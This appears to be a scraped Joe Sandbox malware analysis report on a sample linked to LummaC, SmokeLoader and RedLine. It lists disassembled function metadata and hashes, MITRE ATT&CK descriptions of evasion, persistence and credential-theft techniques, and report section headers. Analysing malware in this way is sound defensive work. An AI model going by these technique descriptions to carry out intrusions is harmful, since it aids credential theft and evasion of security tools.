__EH_prolog3_GS.LIBCMT ref: 00457663

Strings

0WvE, xrefs: 004576C3, 004576C9

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: H_prolog3_
String ID: 0WvE
API String ID: 2427045233-3343873255
Opcode ID: ae855e2fb2259f4cd4dc040633ce2d6a570f83ce0b1a5faf25a497b1a569bab6
Instruction ID: 1c9f2a89ff3204c3826de0331ed8318761d371f2987ef1505d12c852729e3be0
Opcode Fuzzy Hash: ae855e2fb2259f4cd4dc040633ce2d6a570f83ce0b1a5faf25a497b1a569bab6
Instruction Fuzzy Hash: 1D71F671C082069BDF20AB95E888ABF7675EF09362F14413BEC1067342D77D9C4ACB69

Uniqueness

Uniqueness Score: -1.00%

Function 00B6C757 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00B6C796
__IsNonwritableInCurrentImage.LIBCMT ref: 00B6C84A

Strings

csm, xrefs: 00B6C834

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: 4f8ff9eb5eb19e1166f3a4e2b42742774fc71f877a340c3a0e9aa00e100e0b2b
Instruction ID: 522468aad30d8fbfaffb758cacf6e86e1e31cc8049730373739a1b3b7e6f3652
Opcode Fuzzy Hash: 4f8ff9eb5eb19e1166f3a4e2b42742774fc71f877a340c3a0e9aa00e100e0b2b
Instruction Fuzzy Hash: BA416034A002099BCB20DF68C885ABDBFE5EF45314F1481E5E8589B352DB39EE05CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0044C4F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0044C52F
__IsNonwritableInCurrentImage.LIBCMT ref: 0044C5E3

Strings

csm, xrefs: 0044C5CD

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: 4f8ff9eb5eb19e1166f3a4e2b42742774fc71f877a340c3a0e9aa00e100e0b2b
Instruction ID: 7c05b390535c1efc98ac510721220f856d0812bf5f05eb62607b3736afebc96d
Opcode Fuzzy Hash: 4f8ff9eb5eb19e1166f3a4e2b42742774fc71f877a340c3a0e9aa00e100e0b2b
Instruction Fuzzy Hash: E741D934A01218ABDF10DF69C8C0AAE7BB5BF44318F18816BEC145B352D779EE15CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00B7C0FE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 104fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,00000000,?,00000000,00B7B9F6,00B735B4,00000010,0046ED28,00000000,?,00000010,00000010,00B735B4,00000010), ref: 00B7C1E7
GetLastError.KERNEL32(00B7B9F6,00B735B4,00000010,0046ED28,00000000,?,00000010,00000010,00B735B4,00000010,?,00000000,?,00B7354C,00000000,0046ED28), ref: 00B7C217

Strings

(F, xrefs: 00B7C13B

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID: ErrorFileLastWrite
String ID: (F
API String ID: 442123175-3109638091
Opcode ID: 55bc21d4c3b26ec211d8e5aabf593499b04d7d3b1c133384a6da9b7263371aa9
Instruction ID: 7dc99ae67c92918d25168e4a25928eaded6d63b61aa44c44f613ca7be2b6491a
Opcode Fuzzy Hash: 55bc21d4c3b26ec211d8e5aabf593499b04d7d3b1c133384a6da9b7263371aa9
Instruction Fuzzy Hash: C2316E71A00219ABDB14CF69DC91AE977E5EB44300F1480FDE619E7291E770EE81CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0045BE97 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 104fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,00000000,?,00000000,0045B78F,0045334D,00000010,0046ED28,00000000,?,00000010,00000010,0045334D,00000010), ref: 0045BF80
GetLastError.KERNEL32(0045B78F,0045334D,00000010,0046ED28,00000000,?,00000010,00000010,0045334D,00000010,?,00000000,?,004532E5,00000000,0046ED28), ref: 0045BFB0

Strings

(F, xrefs: 0045BED4

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: ErrorFileLastWrite
String ID: (F
API String ID: 442123175-3109638091
Opcode ID: 8e03c5e71b097fdf268732323020c3e08cf69d5d6e026a4c283354f0a5246bbd
Instruction ID: 9b960a3ea1cd227edb80293edc99fc8c1af3337278a68d110151dea7e49085de
Opcode Fuzzy Hash: 8e03c5e71b097fdf268732323020c3e08cf69d5d6e026a4c283354f0a5246bbd
Instruction Fuzzy Hash: 4031F431600219AFDB14CF29DC81AEAB3B5EB44305F0440BAE905D7391D734ED84CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 00B82EEC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00B83163

Strings

csm, xrefs: 00B831F6
csm, xrefs: 00B83185

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: a1e364f783003f2c1ae242379b2f0c593fd78719b0632eeceaf1bc20afdc6270
Instruction ID: ea6ef05b28dfbdb172964c31924393c7d364998e55c31e191c6d18ec2810901f
Opcode Fuzzy Hash: a1e364f783003f2c1ae242379b2f0c593fd78719b0632eeceaf1bc20afdc6270
Instruction Fuzzy Hash: 9B31E136400258ABCF22BF94CC449AABBE5FF49F15B1882DAF85419131C332CF61DB81

Uniqueness

Uniqueness Score: -1.00%

Function 00462C85 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00462EFC

Strings

csm, xrefs: 00462F1E
csm, xrefs: 00462F8F

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: a1e364f783003f2c1ae242379b2f0c593fd78719b0632eeceaf1bc20afdc6270
Instruction ID: 55f72610eb353277cc13dc9029f11ced7625f7c65041ad342f73943710d2d6b7
Opcode Fuzzy Hash: a1e364f783003f2c1ae242379b2f0c593fd78719b0632eeceaf1bc20afdc6270
Instruction Fuzzy Hash: C531C531500A15BBCF2A8F50CE0086B7B75FF09315B14455BFC5449221E3BACCA1EB8B

Uniqueness

Uniqueness Score: -1.00%

Function 00B7C015 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 82fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000,0046ED28,00000010,?,?,00B7B9E6,00B735B4,00000010,0046ED28,00000000,?,00000010), ref: 00B7C0BF
GetLastError.KERNEL32(?,00B7B9E6,00B735B4,00000010,0046ED28,00000000,?,00000010,00000010,00B735B4,00000010,?,00000000,?,00B7354C,00000000), ref: 00B7C0E5

Strings

(F, xrefs: 00B7C033

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID: ErrorFileLastWrite
String ID: (F
API String ID: 442123175-3109638091
Opcode ID: 8dfb6b901db1e42f57d6f1c52854aa3aa94de007c7d3581df50df2a6445fe6b5
Instruction ID: 21059ed1d8d6c5bfab8184d94bea550ed7f7afe87c85670965058fc810b42f7b
Opcode Fuzzy Hash: 8dfb6b901db1e42f57d6f1c52854aa3aa94de007c7d3581df50df2a6445fe6b5
Instruction Fuzzy Hash: CB217E71A00218DFCB14CF19DC809EAB7F9EF48315F1485AEE91AD7260E730DE81CAA5

Uniqueness

Uniqueness Score: -1.00%

Function 0045BDAE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 82fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000,0046ED28,00000010,?,?,0045B77F,0045334D,00000010,0046ED28,00000000,?,00000010), ref: 0045BE58
GetLastError.KERNEL32(?,0045B77F,0045334D,00000010,0046ED28,00000000,?,00000010,00000010,0045334D,00000010,?,00000000,?,004532E5,00000000), ref: 0045BE7E

Strings

(F, xrefs: 0045BDCC

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: ErrorFileLastWrite
String ID: (F
API String ID: 442123175-3109638091
Opcode ID: 163c530cdcdfba32703f0839abe6e2ebd6f23ff8b86307f123e1c3c24a092df0
Instruction ID: a55d7561dcaa2b7f1c93f6f8be657d85e556bc9343162fd04feadb4a23df8c45
Opcode Fuzzy Hash: 163c530cdcdfba32703f0839abe6e2ebd6f23ff8b86307f123e1c3c24a092df0
Instruction Fuzzy Hash: B921C331A00218DFCB14CF19CD819E9B3F9EF48305F1444AAEA09D7251D730DD85CA95

Uniqueness

Uniqueness Score: -1.00%

Function 00B7BF3A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 80fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000,0046ED28,00000010,?,?,00B7BA06,00B735B4,00000010,0046ED28,00000000,?,00000010), ref: 00B7BFD6
GetLastError.KERNEL32(?,00B7BA06,00B735B4,00000010,0046ED28,00000000,?,00000010,00000010,00B735B4,00000010,?,00000000,?,00B7354C,00000000), ref: 00B7BFFC

Strings

(F, xrefs: 00B7BF58

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID: ErrorFileLastWrite
String ID: (F
API String ID: 442123175-3109638091
Opcode ID: 374d4b6e65936fb91f170918589b21b7e95e76e5587944525bb8ce0dc1b5e9b7
Instruction ID: 8a668a9e3e6ffc0381ee92dc8b8d75520f50aa1258f4547c2a5a6a618ce5e706
Opcode Fuzzy Hash: 374d4b6e65936fb91f170918589b21b7e95e76e5587944525bb8ce0dc1b5e9b7
Instruction Fuzzy Hash: F8216F75A002199FCB19CF69DC909E9B7F9EB48305F1480EAEA09D7251D7309E82CF65

Uniqueness

Uniqueness Score: -1.00%

Function 0045BCD3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 80fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000,0046ED28,00000010,?,?,0045B79F,0045334D,00000010,0046ED28,00000000,?,00000010), ref: 0045BD6F
GetLastError.KERNEL32(?,0045B79F,0045334D,00000010,0046ED28,00000000,?,00000010,00000010,0045334D,00000010,?,00000000,?,004532E5,00000000), ref: 0045BD95

Strings

(F, xrefs: 0045BCF1

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: ErrorFileLastWrite
String ID: (F
API String ID: 442123175-3109638091
Opcode ID: a059ce19bf37e7340f4a713cfdd5a51407edb1ad52b3ac098b35726bc101277b
Instruction ID: f2d57abe8c419bff341c603a9c59ffce80564fa9c6de3b5874c86ac522ce98dc
Opcode Fuzzy Hash: a059ce19bf37e7340f4a713cfdd5a51407edb1ad52b3ac098b35726bc101277b
Instruction Fuzzy Hash: 7121B434A002199BCF15CF19CD909E9B7B9EF49306F1444AAE905D7212D734DE4ACFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00B22AF7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72stringCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32 ref: 00B22B54
lstrcatW.KERNEL32 ref: 00B22B6C

Part of subcall function 00B7393C: _free.LIBCMT ref: 00B7394F

Strings

\Last Version, xrefs: 00B22B5C

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID: lstrcat$_free
String ID: \Last Version
API String ID: 1597172325-2633859252
Opcode ID: 6d14e5f50be4da35462d48381313b4626814df439f0fa6ac15f70ad2a8c00287
Instruction ID: 58142630ead056bac6af0ea50bc69d9df1b737a016e364df198f752ceda756be
Opcode Fuzzy Hash: 6d14e5f50be4da35462d48381313b4626814df439f0fa6ac15f70ad2a8c00287
Instruction Fuzzy Hash: 172109F4A05205DFC704EF68D88696ABBF4FF89710F10446DE989D7350E771A914CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00402890 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72stringCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32 ref: 004028ED
lstrcatW.KERNEL32 ref: 00402905

Part of subcall function 004536D5: _free.LIBCMT ref: 004536E8

Strings

\Last Version, xrefs: 004028F5

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: lstrcat$_free
String ID: \Last Version
API String ID: 1597172325-2633859252
Opcode ID: 20a6360a5a2f7046e860aa3615ca09402de73680987592aafff3286eb7284843
Instruction ID: 0c95f3d8009a384f9a6b5b2f86e0d2807320f59c6964a4836581b6713d950fe7
Opcode Fuzzy Hash: 20a6360a5a2f7046e860aa3615ca09402de73680987592aafff3286eb7284843
Instruction Fuzzy Hash: 2C2128B4A01204DFC700EF68D88696ABBF4FF89314F10487EE988D7350E771A914CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00B79BE2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00B79C10
_free.LIBCMT ref: 00B79C36

Strings

pAG, xrefs: 00B79C4F

Memory Dump Source

Source File: 0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b20000_933A.jbxd

Yara matches

Similarity

API ID: _free
String ID: pAG
API String ID: 269201875-2859080501
Opcode ID: eaa7846caee315ca0331201941c652771d0983a1dd5218d770c676eb328f6541
Instruction ID: 4f8877d37889e0921252b58bbc9047f67f661c05095e50aa513f652655b0f230
Opcode Fuzzy Hash: eaa7846caee315ca0331201941c652771d0983a1dd5218d770c676eb328f6541
Instruction Fuzzy Hash: 7911D071E007109AEB219B38AC81B5637D4E750332F5582B6F93CCF2E1EBB4C9C24644

Uniqueness

Uniqueness Score: -1.00%

Function 0045EC2C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0045B4DF: EnterCriticalSection.KERNEL32(00000010,?,0045B5E6,00000010,0046EF70,00000010,00453470,00000000,?,?,?,00000010,?,0045334D,00000010), ref: 0045B4FA

FlushFileBuffers.KERNEL32(00000000,0046F010,0000000C,0045EC14,3E,?,00000016,00000016,004533E0,?,00000016), ref: 0045EC75
GetLastError.KERNEL32 ref: 0045EC86

Strings

3E, xrefs: 0045ECAD

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: BuffersCriticalEnterErrorFileFlushLastSection
String ID: 3E
API String ID: 4109680722-384582835
Opcode ID: 7d78908a2e749779e42dac20c9f360a85fd0ed04635309fe93b87d7f0d5851b5
Instruction ID: 79cc12b26d56cf7f176c3d98eb4bd74ecae6010a380105c6d5c280ba705af296
Opcode Fuzzy Hash: 7d78908a2e749779e42dac20c9f360a85fd0ed04635309fe93b87d7f0d5851b5
Instruction Fuzzy Hash: 9F014532A002008FC714EFAAE90564D7BE0EF49325F10416FF810DB3D2D7B8D8018B88

Uniqueness

Uniqueness Score: -1.00%

Function 004463A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34stringCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(00000000,?), ref: 004463C0
lstrcatW.KERNEL32(00000000,00000000), ref: 004463D3

Part of subcall function 004536D5: _free.LIBCMT ref: 004536E8

Strings

ec48478eb02322f7d86623ec, xrefs: 004463C2

Memory Dump Source

Source File: 0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_933A.jbxd

Yara matches

Similarity

API ID: lstrcat$_free
String ID: ec48478eb02322f7d86623ec
API String ID: 1597172325-1363470560
Opcode ID: f20f52bf3ad121fa3c07cd4da2601e3aa054e8ba441151d05695a0c6f8da6863
Instruction ID: bddfc2180dd68d5ad31500d747c889593725a82ff383c7cecda3f22ac9711354
Opcode Fuzzy Hash: f20f52bf3ad121fa3c07cd4da2601e3aa054e8ba441151d05695a0c6f8da6863
Instruction Fuzzy Hash: 81E09BE3A012013BF10066752C47D6F115C8F8176EF08007EFA01D2282FA59DD1542BB

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Module: Module Load, Network Traffic: Network Connection Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report NBHEkIKDCr.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: SmokeLoader

Threatname: RedLine

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Privilege Escalation

Bitcoin Miner

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

